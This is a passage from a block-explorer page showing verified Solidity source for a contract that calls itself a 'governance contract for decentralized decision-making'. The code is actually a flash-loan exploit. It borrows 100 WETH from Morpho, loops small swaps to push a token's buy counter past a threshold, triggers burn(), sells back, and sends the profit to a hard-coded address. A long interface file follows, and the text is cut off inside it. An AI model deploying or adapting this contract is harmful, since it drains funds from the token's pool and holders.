hello

Description:

Governance contract for decentralized decision-making.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "EvmCode/eth/success/muskito.sol": {
      "content": "// SPDX-License-Identifier: UNLICENSED\r
pragma solidity ^0.8.10;\r
\r
import "./../interface.sol";\r
contract hello  {\r
    WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\r
	IUniswapV2Router private constant router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\r
	Staking  bevo;\r
    IMorphoBuleFlashLoan  morpho = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);\r
    uint256 step;\r
    IgetTargetAddress Iget=IgetTargetAddress(0x62d42b3b1f80F3887C75320D4ec71dE288F97B6c);\r
\r
    function step1()external payable {\r
        Iget.SetTargetAdress(address(0x7eF790D9BCCC87989bE0Fdb88FFb955bec3d5E92));\r
        bevo = Staking(Iget.targetAdress());\r
        weth.approve(address(morpho), type(uint256).max);    \r
		weth.approve(address(router), type(uint256).max);\r
		bevo.approve(address(router), type(uint256).max);\r
        weth.deposit{value: address(this).balance - 20000000000}();\r
    }\r
    function withdraw(uint256 _step) external { \r
\r
        step = _step;\r
		morpho.flashLoan(address(weth), 100 ether, abi.encodePacked(uint256(1)));\r
        block.coinbase.call{value : 1000000000}("");\r
    }\r
    function onMorphoFlashLoan(uint256 x, bytes memory) external {\r
		address[] memory path = new address[](2);\r
        path[0] = address(weth);\r
        path[1] = address(bevo);\r
		if(bevo.buys() < 75000){\r
			for (uint i = 0;i < step ;i++){\r
				router.swapExactTokensForTokens (\r
				1 , 0, path, address(this), block.timestamp\r
				);\r
			}\r
		}\r
        if(bevo.buys() > 75000){\r
            router.swapExactTokensForTokens (\r
            weth.balanceOf(address(this)) , 0, path, address(this), block.timestamp\r
            );\r
\r
            bevo.burn();\r
                \r
            address[] memory pathsell = new address[](2);\r
                pathsell[0] = address(bevo);\r
                pathsell[1] = address(weth);\r
                router.swapExactTokensForTokensSupportingFeeOnTransferTokens (\r
                bevo.balanceOf(address(this)), 0, pathsell, address(this), block.timestamp\r
            );\r
\r
            weth.withdraw(weth.balanceOf(address(this)) - 100 ether);\r
            address(0xa5C7AdC427c6db09E5B34629E2A05ECef4e4F14f).call{value : address(this).balance}("");\r
		}\r
\r
    }\r
    receive() external payable { }\r
}\r
/* -------------------- Interface -------------------- */\r
\r
interface Staking {\r
    function transfer(address to, uint256 amount) external returns (bool);\r
    function approve(address spender, uint256 amount) external returns (bool);\r
    function balanceOf(address account) external view returns (uint256);\r
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r
    function buys()external view returns (uint256);\r
\r
    function burn() external;\r
}\r
\r
\r
\r
"
    },
    "EvmCode/eth/interface.sol": {
      "content": "// SPDX-License-Identifier: UNLICENSED\r
\r
pragma solidity >=0.7.0 <0.9.0;\r
\r
interface IERC20 {\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
    function name() external view returns (string memory);\r
    function symbol() external view returns (string memory);\r
    function decimals() external view returns (uint8);\r
    function totalSupply() external view returns (uint256);\r
    function balanceOf(address owner) external view returns (uint256);\r
    function allowance(address owner, address spender) external view returns (uint256);\r
    function approve(address spender, uint256 value) external returns (bool);\r
    function transfer(address to, uint256 value) external returns (bool);\r
    function transferFrom(address from, address to, uint256 value) external returns (bool);\r
    function withdraw(uint256 wad) external;\r
    function deposit(uint256 wad) external returns (bool);\r
    function owner() external view returns (address);\r
}\r
interface IUniswapV2Factory {\r
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);\r
    function feeTo() external view returns (address);\r
    function feeToSetter() external view returns (address);\r
    function getPair(address tokenA, address tokenB) external view returns (address pair);\r
    function allPairs(uint256) external view returns (address pair);\r
    function allPairsLength() external view returns (uint256);\r
    function createPair(address tokenA, address tokenB) external returns (address pair);\r
    function setFeeTo(address) external;\r
    function setFeeToSetter(address) external;\r
}\r
\r
interface IUniswapV2Pair {\r
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\r
    function sync() external;\r
    function skim(address to) external;\r
    function token0() external view returns (address);\r
    function token1() external view returns (address);\r
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r
    function price0CumulativeLast() external view returns (uint256);\r
    function price1CumulativeLast() external view returns (uint256);\r
    function balanceOf(address account) external view returns (uint256);\r
    function approve(address spender, uint256 value) external returns (bool);\r
    function transfer(address to, uint256 value) external returns (bool);\r
    function transferFrom(address from, address to, uint256 value) external returns (bool);\r
    function burn(address to) external returns (uint256 amount0, uint256 amount1);\r
}\r
\r
interface IFlashLoanRecipient {\r
    function receiveFlashLoan(\r
        IERC20[] memory tokens,\r
        uint256[] memory amounts,\r
        uint256[] memory feeAmounts,\r
        bytes memory userData\r
    ) external;\r
}\r
interface IFlash {\r
    function flashLoan(address token, uint256 assets, bytes calldata data) external ;\r
    function supply(\r
        address asset,\r
        uint256 amount,\r
        address onBehalfOf,\r
        uint16 referralCode\r
    ) external;\r
    function withdraw(\r
        address asset,\r
        uint256 amount,\r
        address to\r
    ) external returns (uint256) ;\r
    function borrow(\r
        address asset,\r
        uint256 amount,\r
        uint256 interestRateMode,\r
        uint16 referralCode,\r
        address onBehalfOf\r
    ) external;\r
    function repay(\r
        address asset,\r
        uint256 amount,\r
        uint256 interestRateMode,\r
        address onBehalfOf\r
    ) external;\r
      function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external  ;\r
\r
}\r
\r
interface WETH {\r
    function approve(address guy, uint256 wad) external returns (bool);\r
    function withdraw(uint256 wad)external;\r
    function balanceOf(address account) external view returns (uint256);\r
    function transfer(address dst, uint256 wad) external returns (bool);\r
    function deposit() external payable;\r
}\r
interface IWETH is WETH{}\r
\r
interface IERC777 {\r
    function name() external view returns (string memory);\r
\r
    function symbol() external view returns (string memory);\r
\r
    function granularity() external view returns (uint256);\r
\r
    function totalSupply() external view returns (uint256);\r
\r
    function balanceOf(\r
        address owner\r
    ) external view returns (uint256);\r
\r
    function approve(address spender, uint256 value) external returns (bool);\r
\r
    function transfer(address to, uint256 value) external returns (bool);\r
\r
    function send(address recipient, uint256 amount, bytes calldata data) external;\r
\r
    function burn(uint256 amount, bytes calldata data) external;\r
\r
    function isOperatorFor(address operator, address tokenHolder) external view returns (bool);\r
\r
    function authorizeOperator(\r
        address operator\r
    ) external;\r
\r
    function revokeOperator(\r
        address operator\r
    ) external;\r
\r
    function defaultOperators() external view returns (address[] memory);\r
\r
    function operatorSend(\r
        address sender,\r
        address recipient,\r
        uint256 amount,\r
        bytes calldata data,\r
        bytes calldata operatorData\r
    ) external;\r
\r
    function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external;\r
\r
    event Sent(\r
        address indexed operator,\r
        address indexed from,\r
        address indexed to,\r
        uint256 amount,\r
        bytes data,\r
        bytes operatorData\r
    );\r
\r
    event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);\r
\r
    event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);\r
\r
    event AuthorizedOperator(address indexed operator, address indexed tokenHolder);\r
\r
    event RevokedOperator(address indexed operator, address indexed tokenHolder);\r
}\r
\r
interface Uni_Pair_V3 {\r
    function token0() external view returns (address);\r
    function token1() external view returns (address);\r
    function swap(\r
        address recipient,\r
        bool zeroForOne,\r
        int256 amountSpecified,\r
        uint160 sqrtPriceLimitX96,\r
        bytes calldata data\r
    ) external returns (int256 amount0, int256 amount1);\r
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\r
}\r
\r
\r
interface Uni_Router_V3 {\r
    struct ExactInputSingleParams {\r
        address tokenIn;\r
        address tokenOut;\r
        uint24 fee;\r
        address recipient;\r
        uint256 deadline;\r
        uint256 amountIn;\r
        uint256 amountOutMinimum;\r
        uint160 sqrtPriceLimitX96;\r
    }\r
\r
    struct ExactOutputSingleParams {\r
        address tokenIn;\r
        address tokenOut;\r
        uint24 fee;\r
        address recipient;\r
        uint256 deadline;\r
        uint256 amountOut;\r
        uint256 amountInMaximum;\r
        uint160 sqrtPriceLimitX96;\r
    }\r
\r
    struct ExactInputParams {\r
        bytes path;\r
        address recipient;\r
        uint256 amountIn;\r
        uint256 amountOutMinimum;\r
    }\r
\r
    struct ExactOutputParams {\r
        bytes path;\r
        address recipient;\r
        uint256 amountOut;\r
        uint256 amountInMaximum;\r
    }\r
\r
    function swapExactTokensForTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to\r
    ) external payable returns (uint256 amountOut);\r
\r
    function exactInputSingle(\r
        ExactInputSingleParams memory params\r
    ) external payable returns (uint256 amountOut);\r
\r
    function exactOutputSingle(\r
        ExactOutputSingleParams calldata params\r
    ) external payable returns (uint256 amountIn);\r
\r
    function exactInput(\r
        ExactInputParams memory params\r
    ) external payable returns (uint256 amountOut);\r
\r
    function exactOutput(\r
        ExactOutputParams calldata params\r
    ) external payable returns (uint256 amountIn);\r
}\r
\r
interface Uni_Router_V2 {\r
    function WETH() external view returns (address);\r
\r
    function addLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 amountADesired,\r
        uint256 amountBDesired,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r
\r
    function addLiquidityETH(\r
        address token,\r
        uint256 amountTokenDesired,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r
\r
    function factory() external view returns (address);\r
\r
    function getAmountIn(\r
        uint256 amountOut,\r
        uint256 reserveIn,\r
        uint256 reserveOut\r
    ) external pure returns (uint256 amountIn);\r
\r
    function getAmountOut(\r
        uint256 amountIn,\r
        uint256 reserveIn,\r
        uint256 reserveOut\r
    ) external pure returns (uint256 amountOut);\r
\r
    function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\r
\r
    function removeLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 liquidity,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountA, uint256 amountB);\r
\r
    function removeLiquidityETH(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountToken, uint256 amountETH);\r
\r
    function removeLiquidityETHSupportingFeeOnTransferTokens(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountETH);\r
\r
    function removeLiquidityETHWithPermit(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountToken, uint256 amountETH);\r
\r
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountETH);\r
\r
    function removeLiquidityWithPermit(\r
        address tokenA,\r
        address tokenB,\r
        uint256 liquidity,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountA, uint256 amountB);\r
\r
    function swapETHForExactTokens(\r
        uint256 amountOut,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256[] memory amounts);\r
\r
    function swapExactETHForTokens(\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256[] memory amounts);\r
\r
    function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable;\r
\r
    function swapExactTokensForETH(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapExactTokensForTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapTokensForExactETH(\r
        uint256 amountOut,\r
        uint256 amountInMax,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapTokensForExactTokens(\r
        uint256 amountOut,\r
        uint256 amountInMax,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
    // receive () external payable;\r
}\r
\r
\r
interface IPancakeCallee {\r
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;\r
}\r
\r
interface IPancakePair {\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
    function name() external pure returns (string memory);\r
\r
    function symbol() external pure returns (string memory);\r
\r
    function decimals() external pure returns (uint8);\r
\r
    function totalSupply() external view returns (uint256);\r
\r
    function balanceOf(\r
        address owner\r
    ) external view returns (uint256);\r
\r
    function allowance(address owner, address spender) external view returns (uint256);\r
\r
    function approve(address spender, uint256 value) external returns (bool);\r
\r
    function transfer(address to, uint256 value) external returns (bool);\r
\r
    function transferFrom(address from, address to, uint256 value) external returns (bool);\r
\r
    function DOMAIN_SEPARATOR() external view returns (bytes32);\r
\r
    function PERMIT_TYPEHASH() external pure returns (bytes32);\r
\r
    function nonces(\r
        address owner\r
    ) external view returns (uint256);\r
\r
    function permit(\r
        address owner,\r
        address spender,\r
        uint256 value,\r
        uint256 deadline,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external;\r
\r
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r
    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);\r
    event Swap(\r
        address indexed sender,\r
        uint256 amount0In,\r
        uint256 amount1In,\r
        uint256 amount0Out,\r
        uint256 amount1Out,\r
        address indexed to\r
    );\r
    event Sync(uint112 reserve0, uint112 reserve1);\r
\r
    function MINIMUM_LIQUIDITY() external pure returns (uint256);\r
\r
    function factory() external view returns (address);\r
\r
    function token0() external view returns (address);\r
\r
    function token1() external view returns (address);\r
\r
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r
\r
    function price0CumulativeLast() external view returns (uint256);\r
\r
    function price1CumulativeLast() external view returns (uint256);\r
\r
    function kLast() external view returns (uint256);\r
\r
    function mint(\r
        address to\r
    ) external returns (uint256 liquidity);\r
\r
    function burn(\r
        address to\r
    ) external returns (uint256 amount0, uint256 amount1);\r
\r
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\r
\r
    function skim(\r
        address to\r
    ) external;\r
\r
    function sync() external;\r
\r
    function initialize(address, address) external;\r
}\r
\r
interface IPancakeRouter {\r
    function WETH() external view returns (address);\r
\r
    function addLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 amountADesired,\r
        uint256 amountBDesired,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r
\r
    function addLiquidityETH(\r
        address token,\r
        uint256 amountTokenDesired,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r
\r
    function factory() external view returns (address);\r
\r
    function getAmountIn(\r
        uint256 amountOut,\r
        uint256 reserveIn,\r
        uint256 reserveOut\r
    ) external pure returns (uint256 amountIn);\r
\r
    function getAmountOut(\r
        uint256 amountIn,\r
        uint256 reserveIn,\r
        uint256 reserveOut\r
    ) external pure returns (uint256 amountOut);\r
\r
    function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\r
\r
    function removeLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 liquidity,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountA, uint256 amountB);\r
\r
    function removeLiquidityETH(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountToken, uint256 amountETH);\r
\r
    function removeLiquidityETHSupportingFeeOnTransferTokens(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountETH);\r
\r
    function removeLiquidityETHWithPermit(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountToken, uint256 amountETH);\r
\r
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountETH);\r
\r
    function removeLiquidityWithPermit(\r
        address tokenA,\r
        address tokenB,\r
        uint256 liquidity,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountA, uint256 amountB);\r
\r
    function swapETHForExactTokens(\r
        uint256 amountOut,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256[] memory amounts);\r
\r
    function swapExactETHForTokens(\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256[] memory amounts);\r
\r
    function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable;\r
\r
    function swapExactTokensForETH(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapExactTokensForTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapTokensForExactETH(\r
        uint256 amountOut,\r
        uint256 amountInMax,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapTokensForExactTokens(\r
        uint256 amountOut,\r
        uint256 amountInMax,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    receive() external payable;\r
}\r
\r
\r
\r
interface WBNB {\r
    function deposit() external payable;\r
    function withdraw(uint256 wad) external;\r
    function balanceOf(address account) external view returns (uint256);\r
    function transfer(address recipient, uint256 amount) external returns (bool);\r
}\r
interface IBalancerVault {\r
    enum SwapKind {\r
        GIVEN_IN,\r
        GIVEN_OUT\r
    }\r
\r
    struct SingleSwap {\r
        bytes32 poolId;\r
        SwapKind kind;\r
        address assetIn;\r
        address assetOut;\r
        uint256 amount;\r
        bytes userData;\r
    }\r
\r
    struct FundManagement {\r
        address sender;\r
        bool fromInternalBalance;\r
        address payable recipient;\r
        bool toInternalBalance;\r
    }\r
\r
    function swap(\r
        SingleSwap memory singleSwap,\r
        FundManagement memory funds,\r
        uint256 limit,\r
        uint256 deadline\r
    ) external payable returns (uint256 amountCalculated);\r
\r
    struct BatchSwapStep {\r
        bytes32 poolId;\r
        uint256 assetInIndex;\r
        uint256 assetOutIndex;\r
        uint256 amount;\r
        bytes userData;\r
    }\r
\r
    function batchSwap(\r
        SwapKind kind,\r
        BatchSwapStep[] memory swaps,\r
        address[] memory assets,\r
        FundManagement memory funds,\r
        int256[] memory limits,\r
        uint256 deadline\r
    ) external;\r
\r
    struct JoinPoolRequest {\r
        address[] asset;\r
        uint256[] maxAmountsIn;\r
        bytes userData;\r
        bool fromInternalBalance;\r
    }\r
\r
    struct ExitPoolRequest {\r
        address[] asset;\r
        uint256[] minAmountsOut;\r
        bytes userData;\r
        bool toInternalBalance;\r
    }\r
\r
    function joinPool(\r
        bytes32 poolId,\r
        address sender,\r
        address recipient,\r
        JoinPoolRequest memory request\r
    ) external payable;\r
\r
    function exitPool(\r
        bytes32 poolId,\r
        address sender,\r
        address payable recipient,\r
        ExitPoolRequest memory request\r
    ) external payable;\r
\r
    function flashLoan(\r
        address recipient,\r
        address[] memory tokens,\r
        uint256[] memory amounts,\r
        bytes memory userData\r
    ) external;\r
\r
    function getPoolTokens(\r
        bytes32 poolId\r
    ) external view returns (IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);\r
}\r
\r
\r
interface IERC721 {\r
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\r
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\r
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\r
\r
    function balanceOf(\r
        address owner\r
    ) external view returns (uint256 balance);\r
\r
    function ownerOf(\r
        uint256 tokenId\r
    ) external view returns (address owner);\r
\r
    function safeTransferFrom(address from, address to, uint256 tokenId) external;\r
\r
    function transferFrom(address from, address to, uint256 tokenId) external;\r
\r
    function approve(address to, uint256 tokenId) external;\r
\r
    function getApproved(\r
        uint256 tokenId\r
    ) external view returns (address operator);\r
\r
    function setApprovalForAll(address operator, bool _approved) external;\r
\r
    function isApprovedForAll(address owner, address operator) external view returns (bool);\r
\r
    function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\r
\r
    function burn(\r
        uint256 id\r
    ) external;\r
}\r
\r
interface IERC721Enumerable is IERC721 {\r
    /**\r
     * @dev Returns the total amount of tokens stored by the contract.\r
     */\r
    function totalSupply() external view returns (uint256);\r
\r
    /**\r
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.\r
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\r
     */\r
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);\r
\r
    /**\r
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\r
     * Use along with {totalSupply} to enumerate all tokens.\r
     */\r
    function tokenByIndex(uint256 index) external view returns (uint256);\r
}\r
\r
\r
\r
interface IvVISR {\r
    function balanceOf(\r
        address account\r
    ) external view returns (uint256);\r
\r
    function mint(address account, uint256 amount) external;\r
}\r
\r
interface IRouter {\r
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint256 deadline\r
    ) external payable;\r
\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
}\r
\r
interface ILendingPool {\r
    function flashLoan(\r
        address receiverAddress,\r
        address[] calldata assets,\r
        uint256[] calldata amounts,\r
        uint256[] calldata modes,\r
        address onBehalfOf,\r
        bytes calldata params,\r
        uint16 referralCode\r
    ) external;\r
\r
    function getUserAccountData(\r
        address user\r
    )\r
        external\r
        view\r
        returns (\r
            uint256 totalCollateralETH,\r
            uint256 totalDebtETH,\r
            uint256 availableBorrowsETH,\r
            uint256 currentLiquidationThreshold,\r
            uint256 ltv,\r
            uint256 healthFactor\r
        );\r
    function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\r
    /**\r
     * @dev Allows depositors to enable/disable a specific deposited asset as collateral\r
     * @param asset The address of the underlying asset deposited\r
     * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise\r
     *\r
     */\r
    function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;\r
    function borrow(\r
        address asset,\r
        uint256 amount,\r
        uint256 interestRateMode,\r
        uint16 referralCode,\r
        address onBehalfOf\r
    ) external;\r
\r
    function repay(address asset, uint256 amount, uint256 RateMode,address onBehalfOf) external payable;\r
    function repay(address _reserve, uint256 _amount, address _onBehalfOf) external payable;\r
    function withdraw(address asset, uint256 amount, address to) external returns (uint256);\r
}\r
\r
\r
interface IDaiFlashloan {\r
    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\r
}\r
\r
interface IAaveFlashloan {\r
         function getUserAccountData(address user)\r
        external\r
        view\r
        returns (\r
            uint256 totalCollateralBase,\r
            uint256 totalDebtBase,\r
            uint256 availableBorrowsBase,\r
            uint256 currentLiquidationThreshold,\r
            uint256 ltv,\r
            uint256 healthFactor\r
        );\r
\r
    function flashLoan(\r
        address receiverAddress,\r
        address[] calldata assets,\r
        uint256[] calldata amounts,\r
        uint256[] calldata modes,\r
        address onBehalfOf,\r
        bytes calldata params,\r
        uint16 referralCode\r
    ) external;\r
    function flashLoanSimple(\r
        address receiverAddress,\r
        address asset,\r
        uint256 amount,\r
        bytes calldata params,\r
        uint16 referralCode\r
    ) external;\r
\r
    function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\r
\r
    function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\r
\r
    function borrow(\r
        address asset,\r
        uint256 amount,\r
        uint256 interestRateMode,\r
        uint16 referralCode,\r
        address onBehalfOf\r
    ) external;\r
\r
    function repay(\r
        address asset,\r
        uint256 amount,\r
        uint256 interestRateMode,\r
        address onBehalfOf\r
    ) external returns (uint256);\r
\r
    function withdraw(address asset, uint256 amount, address to) external returns (uint256);\r
}\r
\r
\r
interface IcurveYSwap {\r
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
\r
    function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
}\r
\r
interface IHarvestUsdcVault {\r
    function deposit(\r
        uint256 amountWei\r
    ) external;\r
\r
    function withdraw(\r
        uint256 numberOfShares\r
    ) external;\r
\r
    function balanceOf(\r
        address account\r
    ) external view returns (uint256);\r
}\r
\r
interface IUniswapV2Router {\r
    function WETH() external view returns (address);\r
\r
    function addLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 amountADesired,\r
        uint256 amountBDesired,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r
\r
    function addLiquidityETH(\r
        address token,\r
        uint256 amountTokenDesired,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r
\r
    function factory() external view returns (address);\r
\r
    function getAmountIn(\r
        uint256 amountOut,\r
        uint256 reserveIn,\r
        uint256 reserveOut\r
    ) external pure returns (uint256 amountIn);\r
\r
    function getAmountOut(\r
        uint256 amountIn,\r
        uint256 reserveIn,\r
        uint256 reserveOut\r
    ) external pure returns (uint256 amountOut);\r
\r
    function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\r
\r
    function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\r
\r
    function removeLiquidity(\r
        address tokenA,\r
        address tokenB,\r
        uint256 liquidity,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountA, uint256 amountB);\r
\r
